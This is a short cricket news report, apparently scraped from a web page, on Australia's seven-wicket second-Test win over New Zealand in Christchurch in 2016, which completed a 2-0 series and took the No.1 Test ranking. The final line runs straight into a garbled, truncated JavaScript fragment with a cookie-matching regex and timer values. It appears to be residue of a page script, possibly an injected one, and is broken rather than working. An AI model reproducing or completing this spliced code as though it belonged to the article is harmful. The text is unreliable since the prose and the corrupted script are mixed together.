CHRISTCHURCH, NEW ZEALAND - FEBRUARY 24: Joe Burns of Australia bats during day five of the Test match between New Zealand and Australia at Hagley Oval on February 24, 2016 in Christchurch, New Zealand. (Photo by Ryan Pierse/Getty Images)

Australia is back on top of the world after a seven wicket win over New Zealand in the second Test to complete a 2-0 series win.

Resuming on 1-70, Usman Khawaja (45) was the first wicket to fall in the morning session, adding 26 runs to his overnight score, before edging to Brendon McCullum at first slip off the bowling of Tim Southee.

Burns was then joined by Steve Smith at the crease, as the pair looked to get the job done before lunch, with the latter scoring at more than a run a ball.

The umpires extended the morning session as the Aussies looked to make tracks, but they were unable to reach the target within the extra four overs, with lunch called at 3-185 with 16 runs required to win, with Burns falling just prior to the break on 65.

Smith (53) and Voges (10) then finished the run chase shortly after the interval, to record a comfortable seven wicket win and leapfrog India to claim the No.1 Test ranking. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}